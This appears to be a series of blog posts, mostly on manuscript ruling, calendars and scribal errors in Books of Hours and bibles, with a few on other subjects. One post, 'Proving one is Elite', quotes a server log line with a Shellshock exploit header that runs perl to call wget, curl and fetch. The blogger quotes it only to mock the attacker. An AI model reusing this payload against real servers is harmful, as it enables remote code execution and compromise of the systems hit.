From the Danish National Library, a digitized version of a late 16th Century Book of Jewish Customs (Sefer Minhagin in Hebrew, Minhogim Bukh in Yiddish).  This copy is slighly incomplete, missing at least 2 of the larger wood-block prints and one of the Zodiac/month illustrations.

Sefer Minhagim p.10.png

(image #10, describing Havdallah -- the ceremony at the end of Shabbat)

Proving one is Elite

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You know you're skilled as a hacker when you're so fast, you don't even need to configure your scanning scripts: - - [01/Aug/2016:13:49:38 -0400] ***.******.*** "GET HTTP/1.1 HTTP/1.1" 400 340 "-" "() 
{ :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget ;
curl -O ; fetch\");'"

They're trying to use a the Shellshock vulnerability I think.

This horribly mangled item is the remains of what once was probably a beautiful Book of Hours, probably from Spain.  None of the miniatures or historiated initials remain, but what does survive includes the February-December of the Calendar, a piece of the Litany and terce-vespers (incomplete on both ends and the start of each hour) of the Hours of the Virgin.  The scribe who wrote this was extremely careful and talented.  Every page is ruled in red ink, double lines to the edge of the membrane for the edge of the text-block and a single line within the text block for each line of text

Cambridge-Harvard Houghton Library-Typ 731 - 12r.jpg


For the calendar pages, the ruling is more complex, with two additional double-lines, though not extending above or below the text block, setting up columns for the Dominical Letters and the Golden Numerals.

Cambridge-Harvard Houghton Library-Typ 731 - 5r.jpg


Besides the care in ruling and preparing, the scribe's writing is exceptional.  The strokes are even in both color and width and the text block is filled cleanly and evenly with no odd hanging strokes or unfilled lines.  Even the letter spacing is even

Cambridge-Harvard Houghton Library-Typ 731 -_.jpg

(Terce of the BVM from Typ 731)

Though none of the miniatures survive, the profusion of colored and gilded initials inline, particularly the Litany, suggest that this would have been a lavish book when intact

Cambridge-Harvard Houghton Library-Typ 731 - Litany.jpg

(Litany from Typ 731)


Black before Red

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Sometimes errors provide an interesting insight into processes. In this case the context is the calendar section of a Book of Hours held by the Boston Public Library, MS q. med 89, which dates to the mid 15th century and was made in Poitiers, France. In this calendar there are three columns of text:

  • The main feast or saints name (black text for most, red for the most important)
  • A dominical letter, used for calculating the date of Easter (black text)
  • The numeral of the Roman Date, i.e. VI. (Red text)

There are 2 interesting errors that point to the practice of writing all of the black text first and then going back to add in the red. On the verso of May the Roman number is offset one row versus the Feast and the Dominical, which are in alignment (f.6v below) Boston-Boston Public Library-MS q med 89 - 6v02838.jpg Notice that the red roman numerals start one row down from the top and continue one line past the black text. The dates of the feasts match the dominical letters and are offset from the Romans exactly by one.

The second one is at the very end of the verso of of November (f.12v below). In black we have, on November 29th, ‘Vig’ as shorthand for “The Vigil of St. Andrew, apostle”, and on the following page, 7 days later on the 7th of December, the Octave of the same Andrew(see f.13r below). There is, however nothing on November 30th, no feast at all. This should be the main feast of St. Andrew, and as the feast-day of an Apostle, it should be in red. The presence of both the Vigil and Octave, on the proper dates, is strong evidence that the saint should have been there and was forgotten, rather than being intentionally omitted. I would propose that the scribe simply forgot the last line on the page when he was doing the second pass for the rubrics. Boston-Boston Public Library-MS q med 89 - 12v02850.jpg Boston-Boston Public Library-MS q med 89 - 13r02851.jpg


Typ 295, from the Houghton Library at Harvard University, is a late 13th Century single-volume bible.  Specs are: 368 leaves of vellum, very thin, about 18cm high. It contains the Vulgate text with some additional apparatus, in this case Interpretationes Hebraicorum nominum and a table of readings.  These are often referred to as Parisian bibles, due to the large number of them which were created in the Paris stationary trade, but the catalogue identifies this on as Italian, due to the roundness of the gothic hand. There's plenty to say else about the manuscript, but I'm focusing on the rulings on the page.

Genesis 36.jpg

The rulings consist of three parts: Titles, Text and Decorations.  Moving from top to bottom, the first pair of lines locate the title of the page, in this case "Sys" (the facing page has "Gen").  The next pair of horizontal lines mark out the first line of text in the block, and the rest of the block has ruling only within it, not extending to the edges of the page.  Finally there's a horizontal pair near the bottom of the page, which does not appear on all the pages of this MS.  I'm guessing that it has to do with the decorations, but that's speculation. 

For the vertical rulings, moving from the inside out, there's a pair of vertical lines to define the inside margin of the text block which also serve to structure the red/blue penwork decoration.  Next there's a double-column ruling, three lines, to spit the columns of text.  There's a vertical pair to end the text block and one final one to mark out the title margin, in this case for XXXVI.  This final block also contains penwork on some pages. 

All of these rulings, three horizontal pairs and four vertical sets, extend nearly to the edges of the membrane, far beyond where they are used.  In contrast the text block itself is ruled internally only, crossing the center gutter but not extending outside the margins after the first line.  The text floats between the rules lines, neither sitting on the baseline nor hanging from above.  Some descenders cross the baseline, but only a small amount (see closeup of Genesis 35, below).  The scribe has fit an enormous amount of text on the page, from Genesis 34:19 through part of 35:23, or about 1000 words

Genesis 35 - closeup.jpg

The last section of the manuscript, the Interpretationes Hebraicorum nominum, attributed to Jerome, but probably written later.  For our purposes it is interesting because the scribe has shifted to three columns of text.  These are demarcated only by 4 vertical rulings, the one to the left of each column also serving to structure the constant list of capital letters (see 'B' below)

Hebrew Names B.jpg

All of the rulings appear to be in ink

Wim Delvoye has taken the modern large-format 3d printer and used it to recreate the Gothic world, if the EVERYTHING were Gothic.  Nautilus shells, tables, gazebos even a comcrete mixer are all done in complex neo-gothic tracery. 



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One page, covering the pairs AL through AT, from a book of monograms entitled Schul der Pallas (The School of Pallas), engraved by Johann Baptista Homann.  This copy is owned by the Österreichisches Museum für angewandte Kunst (Austrian Museum of Applied Arts), more commonly referred to as the MAK.

die monogramme.jpg


De Bellis Macedonicis is one of those manuscript fragments more important for what it heralds than what it is.  As a text it's just a bit of a history on a war between Rome and Macedonia, possibly written by one Lucius Arruntius, found with a vast number of papyrus fragments at Oxyrhynchus in the 19th century.  It is, however, currently the oldest known representitive of the most important western manuscript form, the parchment codex. 

Despite it being referenced and reproduced quite often in Paleography textbooks, the British Library had not, until this past week, publically digitized it.  Despite the clarity of the letters, the text isn't all that easy read.  The letters are a mix of Rustic (A, M, U), Old Roman Cursive (q and p) and Uncial (D,F,R).  The Old Roman Cursive is particularly strange to modern eyes, see the word "Imperi..." at the end of the first line. 

The fragment was dated to the 3rd Century by Lowe, but has more recently been dated to the end of the 1st C CE by Michelle Brown (A Guide to Western Historical Scripts from Antiquity to 1600. London: British Museum, 1990; repr. 1993. [52 plates])


The head of the Buccellati(see previous) jewelry family, Gianmaria Buccellati has died after a period of sickness.  It wasn't until reading the notice that I realized that his brother is is Georgio, who has published one of the best modern Akkadian grammars, A Structural Grammar of Babylonian.



40 days of cutting

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RAAAF and Atelier de Lyon spent 40 days slicing through a left-over WWII bunker, reconnecting the inside to the surroundings.  


Although I'd have liked a bit more information on the machinery, the video is quite interesting.

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